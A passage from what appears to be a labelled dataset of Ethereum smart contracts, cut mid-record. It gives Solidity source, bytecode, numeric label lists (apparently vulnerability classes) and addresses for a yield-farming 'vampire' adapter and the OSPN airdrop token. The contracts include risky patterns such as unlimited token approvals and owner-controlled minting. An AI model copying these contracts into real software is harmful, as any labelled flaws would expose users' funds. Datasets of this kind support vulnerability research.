amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } library UniswapV2Library { using SafeMathUniswap for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash )))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } interface IVampireAdapter { // Victim info function rewardToken() external view returns (IERC20); function poolCount() external view returns (uint256); function sellableRewardAmount() external view returns (uint256); // Victim actions, requires impersonation via delegatecall function sellRewardForWeth(address adapter, uint256 rewardAmount, address to) external returns(uint256); // Pool info function lockableToken(uint256 poolId) external view returns (IERC20); function lockedAmount(address user, uint256 poolId) external view returns (uint256); // Pool actions, requires impersonation via delegatecall function deposit(address adapter, uint256 poolId, uint256 amount) external; function withdraw(address adapter, uint256 poolId, uint256 amount) external; function claimReward(address adapter, uint256 poolId) external; function emergencyWithdraw(address adapter, uint256 poolId) external; // Service methods function poolAddress(uint256 poolId) external view returns (address); function rewardToWethPool() external view returns (address); // Governance info methods function lockedValue(address user, uint256 poolId) external view returns (uint256); function totalLockedValue(uint256 poolId) external view returns (uint256); function normalizedAPY(uint256 poolId) external view returns (uint256); } interface IDrainController { function priceIsUnderRejectionTreshold() view external returns(bool); } interface ILuaMasterFarmer{ function poolInfo(uint256) external view returns (IERC20,uint256,uint256,uint256); function userInfo(uint256, address) external view returns (uint256,uint256,uint256); function poolLength() external view returns (uint256); function deposit(uint256 _pid, uint256 _amount) external; function withdraw(uint256 _pid, uint256 _amount) external; function claimReward(uint256 _pid) external; function emergencyWithdraw(uint256 _pid) external; } contract LuaAdapter is IVampireAdapter { IDrainController constant drainController = IDrainController(0x2C907E0c40b9Dbb834eDD3Fdb739de4df9eDb9D7); ILuaMasterFarmer constant luaMasterFarmer = ILuaMasterFarmer(0xb67D7a6644d9E191Cac4DA2B88D6817351C7fF62); IUniswapV2Router02 constant router = IUniswapV2Router02(0x1d5C6F1607A171Ad52EFB270121331b3039dD83e); IERC20 constant lua = IERC20(0xB1f66997A5760428D3a87D68b90BfE0aE64121cC); IERC20 constant weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IERC20 constant usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); constructor() {} // Victim info function rewardToken() external override pure returns (IERC20) { return lua; } function poolCount() external override view returns (uint256) { return luaMasterFarmer.poolLength(); } function sellableRewardAmount() external override pure returns (uint256) { return uint256(-1); } // Victim actions, requires impersonation via delegatecall function sellRewardForWeth( address, uint256 rewardAmount, address to ) external override returns (uint256) { require(drainController.priceIsUnderRejectionTreshold(), "Possible price manipulation, drain rejected"); address[] memory path = new address[](3); path[0] = address(lua); path[1] = address(usdc); path[2] = address(weth); uint[] memory amounts = router.getAmountsOut(rewardAmount, path); lua.approve(address(router), uint256(-1)); amounts = router.swapExactTokensForTokens(rewardAmount, amounts[amounts.length - 1], path, to, block.timestamp ); return amounts[amounts.length - 1]; } // Pool info function lockableToken(uint256 poolId) external override view returns (IERC20) { (IERC20 lpToken, , , ) = luaMasterFarmer.poolInfo(poolId); return lpToken; } function lockedAmount(address user, uint256 poolId) external override view returns (uint256) { (uint256 amount, , ) = luaMasterFarmer.userInfo(poolId, user); return amount; } // Pool actions, requires impersonation via delegatecall function deposit( address _adapter, uint256 poolId, uint256 amount ) external override { IVampireAdapter adapter = IVampireAdapter(_adapter); adapter.lockableToken(poolId).approve(address(luaMasterFarmer), uint256(-1)); luaMasterFarmer.deposit(poolId, amount); } function withdraw( address, uint256 poolId, uint256 amount ) external override { luaMasterFarmer.withdraw(poolId, amount); } function claimReward(address, uint256 poolId) external override { luaMasterFarmer.claimReward(poolId); } function emergencyWithdraw(address, uint256 poolId) external override { luaMasterFarmer.emergencyWithdraw(poolId); } // Service methods function poolAddress(uint256) external override pure returns (address) { return address(luaMasterFarmer); } function rewardToWethPool() external override pure returns (address) { return address(0); } function lockedValue(address, uint256) external override pure returns (uint256) { require(false, "not implemented"); } function totalLockedValue(uint256) external override pure returns (uint256) { require(false, "not implemented"); } function normalizedAPY(uint256) external override pure returns (uint256) { require(false, "not implemented"); } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806379b846fd11610097578063c2fc7d3e11610066578063c2fc7d3e14610292578063da9da526146102be578063f525cb68146102db578063f7c618c1146102e3576100f5565b806379b846fd146101eb57806395ccea6714610208578063a61bb76414610234578063b5c5f67214610260576100f5565b80632d4b448e116100d35780632d4b448e146101895780633d969aac146101bf57806369036646146101e35780636c261411146100fa576100f5565b806309f08a59146100fa5780630efe6a8b14610129578063174e31c41461015d575b600080fd5b6101176004803603602081101561011057600080fd5b50356102eb565b60408051918252519081900360200190f35b61015b6004803603606081101561013f57600080fd5b506001600160a01b03813516906020810135906040013561032c565b005b61015b6004803603604081101561017357600080fd5b506001600160a01b0381351690602001356104ab565b6101176004803603606081101561019f57600080fd5b506001600160a01b03813581169160208101359160409091013516610521565b6101c7610a76565b604080516001600160a01b039092168252519081900360200190f35b610117610a7b565b6101c76004803603602081101561020157600080fd5b5035610a81565b61015b6004803603604081101561021e57600080fd5b506001600160a01b038135169060200135610b0f565b6101176004803603604081101561024a57600080fd5b506001600160a01b038135169060200135610b69565b61015b6004803603606081101561027657600080fd5b506001600160a01b038135169060208101359060400135610c09565b610117600480360360408110156102a857600080fd5b506001600160a01b0381351690602001356102eb565b6101c7600480360360208110156102d457600080fd5b5035610c80565b610117610c99565b6101c7610d19565b60006040805162461bcd60e51b815260206004820152600f60248201526e1b9bdd081a5b5c1b195b595b9d1959608a1b604482015290519081900360640190fd5b6000839050806001600160a01b03166379b846fd846040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561037557600080fd5b505afa158015610389573d6000803e3d6000fd5b505050506040513d602081101561039f57600080fd5b50516040805163095ea7b360e01b815273b67d7a6644d9e191cac4da2b88d6817351c7ff626004820152600019602482015290516001600160a01b039092169163095ea7b3916044808201926020929091908290030181600087803b15801561040757600080fd5b505af115801561041b573d6000803e3d6000fd5b505050506040513d602081101561043157600080fd5b505060408051631c57762b60e31b81526004810185905260248101849052905173b67d7a6644d9e191cac4da2b88d6817351c7ff629163e2bbb15891604480830192600092919082900301818387803b15801561048d57600080fd5b505af11580156104a1573d6000803e3d6000fd5b5050505050505050565b73b67d7a6644d9e191cac4da2b88d6817351c7ff626001600160a01b031663ae169a50826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561050557600080fd5b505af1158015610519573d6000803e3d6000fd5b505050505050565b6000732c907e0c40b9dbb834edd3fdb739de4df9edb9d76001600160a01b031663abcc31d76040518163ffffffff1660e01b815260040160206040518083038186803b15801561057057600080fd5b505afa158015610584573d6000803e3d6000fd5b505050506040513d602081101561059a57600080fd5b50516105d75760405162461bcd60e51b815260040180806020018281038252602b815260200180610d32602b913960400191505060405180910390fd5b6040805160038082526080820190925260609160208201838036833701905050905073b1f66997a5760428d3a87d68b90bfe0ae64121cc8160008151811061061b57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505073a0b86991c6218b36c1d19d4a2e9eb0ce3606eb488160018151811061065d57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160028151811061069f57fe5b6001600160a01b039092166020928302919091018201526040805163d06ca61f60e01b81526004810187815260248201928352845160448301528451606094731d5c6f1607a171ad52efb270121331b3039dd83e9463d06ca61f948b9489949093606490920191858101910280838360005b83811015610729578181015183820152602001610711565b50505050905001935050505060006040518083038186803b15801561074d57600080fd5b505afa158015610761573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561078a57600080fd5b81019080805160405193929190846401000000008211156107aa57600080fd5b9083019060208201858111156107bf57600080fd5b82518660208202830111640100000000821117156107dc57600080fd5b82525081516020918201928201910280838360005b838110156108095781810151838201526020016107f1565b5050505091909101604081815263095ea7b360e01b8252731d5c6f1607a171ad52efb270121331b3039dd83e600483015260001960248301525195965073b1f66997a5760428d3a87d68b90bfe0ae64121cc9563095ea7b395506044808301955060209450909250908290030181600087803b15801561088857600080fd5b505af115801561089c573d6000803e3d6000fd5b505050506040513d60208110156108b257600080fd5b50508051731d5c6f1607a171ad52efb270121331b3039dd83e906338ed1739908790849060001981019081106108e457fe5b60200260200101518588426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561095f578181015183820152602001610947565b505050509050019650505050505050600060405180830381600087803b15801561098857600080fd5b505af115801561099c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156109c557600080fd5b81019080805160405193929190846401000000008211156109e557600080fd5b9083019060208201858111156109fa57600080fd5b8251866020820283011164010000000082111715610a1757600080fd5b82525081516020918201928201910280838360005b83811015610a44578181015183820152602001610a2c565b50505050905001604052505050905080600182510381518110610a6357fe5b6020026020010151925050509392505050565b600090565b60001990565b60008073b67d7a6644d9e191cac4da2b88d6817351c7ff626001600160a01b0316631526fe27846040518263ffffffff1660e01b81526004018082815260200191505060806040518083038186803b158015610adc57600080fd5b505afa158015610af0573d6000803e3d6000fd5b505050506040513d6080811015610b0657600080fd5b50519392505050565b73b67d7a6644d9e191cac4da2b88d6817351c7ff626001600160a01b0316635312ea8e826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561050557600080fd5b60008073b67d7a6644d9e191cac4da2b88d6817351c7ff626001600160a01b03166393f1a40b84866040518363ffffffff1660e01b815260040180838152602001826001600160a01b031681526020019250505060606040518083038186803b158015610bd557600080fd5b505afa158015610be9573d6000803e3d6000fd5b505050506040513d6060811015610bff57600080fd5b5051949350505050565b60408051630441a3e760e41b81526004810184905260248101839052905173b67d7a6644d9e191cac4da2b88d6817351c7ff629163441a3e7091604480830192600092919082900301818387803b158015610c6357600080fd5b505af1158015610c77573d6000803e3d6000fd5b50505050505050565b5073b67d7a6644d9e191cac4da2b88d6817351c7ff6290565b600073b67d7a6644d9e191cac4da2b88d6817351c7ff626001600160a01b031663081e3eda6040518163ffffffff1660e01b815260040160206040518083038186803b158015610ce857600080fd5b505afa158015610cfc573d6000803e3d6000fd5b505050506040513d6020811015610d1257600080fd5b5051905090565b73b1f66997a5760428d3a87d68b90bfe0ae64121cc9056fe506f737369626c65207072696365206d616e6970756c6174696f6e2c20647261696e2072656a6563746564a26469706673582212204a9167deb8adf21d32a113650dd733944ca62d1571691e38f62ec61c31ad4b3f64736f6c63430007000033
[ 5, 12 ]
0xf238c5c35298ff6a5bb7e9bb1e8a731d58ffa623
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error * Name : Osphere Network Token (OSPN) * Decimal : 8 * Total Supply : 30000000000 * Website : Osphere.Network */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract OSPN is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = "Osphere Network Token"; string public constant symbol = "OSPN"; uint public constant decimals = 8; uint256 public totalSupply = 30000000000e8; uint256 public totalDistributed = 0; uint256 public constant MIN_CONTRIBUTION = 1 ether / 100; // 0.01 Ether uint256 public tokensPerEth = 15000000e8; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function OSPN () public { owner = msg.sender; uint256 devTokens = 2500000000e8; distr(owner, devTokens); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function doAirdrop(address _participant, uint _amount) internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner { doAirdrop(_participant, _amount); } function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner { for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; // minimum contribution require( msg.value >= MIN_CONTRIBUTION ); require( msg.value > 0 ); // get baseline number of tokens tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (tokens > 0) { distr(investor, tokens); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
0x6060604052600436106101195763ffffffff60e060020a60003504166306fdde038114610123578063095ea7b3146101ad57806318160ddd146101e357806323b872dd14610208578063313ce567146102305780633ccfd60b1461024357806340650c911461025657806342966c68146102695780634a63464d1461027f57806367220fd7146102a157806370a08231146102f257806395d89b41146103115780639b1cbccc146103245780639ea407be14610337578063a9059cbb1461034d578063aa6ca80814610119578063c108d5421461036f578063c489744b14610382578063cbdd69b5146103a7578063dd62ed3e146103ba578063e58fc54c146103df578063efca2eed146103fe578063f2fde38b14610411575b610121610430565b005b341561012e57600080fd5b6101366104c8565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561017257808201518382015260200161015a565b50505050905090810190601f16801561019f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b857600080fd5b6101cf600160a060020a03600435166024356104ff565b604051901515815260200160405180910390f35b34156101ee57600080fd5b6101f66105ab565b60405190815260200160405180910390f35b341561021357600080fd5b6101cf600160a060020a03600435811690602435166044356105b1565b341561023b57600080fd5b6101f661072f565b341561024e57600080fd5b610121610734565b341561026157600080fd5b6101f6610790565b341561027457600080fd5b61012160043561079b565b341561028a57600080fd5b610121600160a060020a0360043516602435610889565b34156102ac57600080fd5b610121600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965050933593506108ae92505050565b34156102fd57600080fd5b6101f6600160a060020a0360043516610905565b341561031c57600080fd5b610136610920565b341561032f57600080fd5b6101cf610957565b341561034257600080fd5b6101216004356109c4565b341561035857600080fd5b6101cf600160a060020a0360043516602435610a1a565b341561037a57600080fd5b6101cf610b11565b341561038d57600080fd5b6101f6600160a060020a0360043581169060243516610b1a565b34156103b257600080fd5b6101f6610b8b565b34156103c557600080fd5b6101f6600160a060020a0360043581169060243516610b91565b34156103ea57600080fd5b6101cf600160a060020a0360043516610bbc565b341561040957600080fd5b6101f6610cc0565b341561041c57600080fd5b610121600160a060020a0360043516610cc6565b600754600090819060ff161561044557600080fd5b60009150662386f26fc1000034101561045d57600080fd5b6000341161046a57600080fd5b600654670de0b6b3a764000090610487903463ffffffff610d1c16565b81151561049057fe5b04915033905060008211156104ab576104a98183610d45565b505b600454600554106104c4576007805460ff191660011790555b5050565b60408051908101604052601581527f4f737068657265204e6574776f726b20546f6b656e0000000000000000000000602082015281565b600081158015906105345750600160a060020a0333811660009081526003602090815260408083209387168352929052205415155b15610541575060006105a5565b600160a060020a03338116600081815260036020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60045481565b6000606060643610156105c057fe5b600160a060020a03841615156105d557600080fd5b600160a060020a0385166000908152600260205260409020548311156105fa57600080fd5b600160a060020a038086166000908152600360209081526040808320339094168352929052205483111561062d57600080fd5b600160a060020a038516600090815260026020526040902054610656908463ffffffff610e1f16565b600160a060020a0380871660009081526002602090815260408083209490945560038152838220339093168252919091522054610699908463ffffffff610e1f16565b600160a060020a03808716600090815260036020908152604080832033851684528252808320949094559187168152600290915220546106df908463ffffffff610e3116565b600160a060020a0380861660008181526002602052604090819020939093559190871690600080516020610f538339815191529086905190815260200160405180910390a3506001949350505050565b600881565b600154600090819033600160a060020a0390811691161461075457600080fd5b50506001543090600160a060020a0380831631911681156108fc0282604051600060405180830381858888f1935050505015156104c457600080fd5b662386f26fc1000081565b60015460009033600160a060020a039081169116146107b957600080fd5b600160a060020a0333166000908152600260205260409020548211156107de57600080fd5b5033600160a060020a0381166000908152600260205260409020546108039083610e1f565b600160a060020a03821660009081526002602052604090205560045461082f908363ffffffff610e1f16565b600455600554610845908363ffffffff610e1f16565b600555600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b60015433600160a060020a039081169116146108a457600080fd5b6104c48282610e3e565b60015460009033600160a060020a039081169116146108cc57600080fd5b5060005b8251811015610900576108f88382815181106108e857fe5b9060200190602002015183610e3e565b6001016108d0565b505050565b600160a060020a031660009081526002602052604090205490565b60408051908101604052600481527f4f53504e00000000000000000000000000000000000000000000000000000000602082015281565b60015460009033600160a060020a0390811691161461097557600080fd5b60075460ff161561098557600080fd5b6007805460ff191660011790557f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc60405160405180910390a150600190565b60015433600160a060020a039081169116146109df57600080fd5b60068190557ff7729fa834bbef70b6d3257c2317a562aa88b56c81b544814f93dc5963a2c0038160405190815260200160405180910390a150565b600060406044361015610a2957fe5b600160a060020a0384161515610a3e57600080fd5b600160a060020a033316600090815260026020526040902054831115610a6357600080fd5b600160a060020a033316600090815260026020526040902054610a8c908463ffffffff610e1f16565b600160a060020a033381166000908152600260205260408082209390935590861681522054610ac1908463ffffffff610e3116565b600160a060020a038086166000818152600260205260409081902093909355913390911690600080516020610f538339815191529086905190815260200160405180910390a35060019392505050565b60075460ff1681565b60008281600160a060020a0382166370a082318560405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610b6c57600080fd5b5af11515610b7957600080fd5b50505060405180519695505050505050565b60065481565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b6001546000908190819033600160a060020a03908116911614610bde57600080fd5b83915081600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610c2f57600080fd5b5af11515610c3c57600080fd5b5050506040518051600154909250600160a060020a03808516925063a9059cbb91168360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610ca257600080fd5b5af11515610caf57600080fd5b505050604051805195945050505050565b60055481565b60015433600160a060020a03908116911614610ce157600080fd5b600160a060020a03811615610d19576001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b6000821515610d2d575060006105a5565b50818102818382811515610d3d57fe5b04146105a557fe5b60075460009060ff1615610d5857600080fd5b600554610d6b908363ffffffff610e3116565b600555600160a060020a038316600090815260026020526040902054610d97908363ffffffff610e3116565b600160a060020a0384166000818152600260205260409081902092909255907f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a779084905190815260200160405180910390a2600160a060020a0383166000600080516020610f538339815191528460405190815260200160405180910390a350600192915050565b600082821115610e2b57fe5b50900390565b818101828110156105a557fe5b60008111610e4b57600080fd5b60045460055410610e5b57600080fd5b600160a060020a038216600090815260026020526040902054610e84908263ffffffff610e3116565b600160a060020a038316600090815260026020526040902055600554610eb0908263ffffffff610e3116565b60058190556004549010610ecc576007805460ff191660011790555b600160a060020a03821660008181526002602052604090819020547fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d272918491905191825260208201526040908101905180910390a2600160a060020a0382166000600080516020610f538339815191528360405190815260200160405180910390a350505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820d7804358e056aa8c831db87a36ee3768bfa4185e7e4f801e6a1270fcd9cc43c50029
[ 14 ]
0xf238f55Ede5120915b36715b0fFfE20Ff57f8134
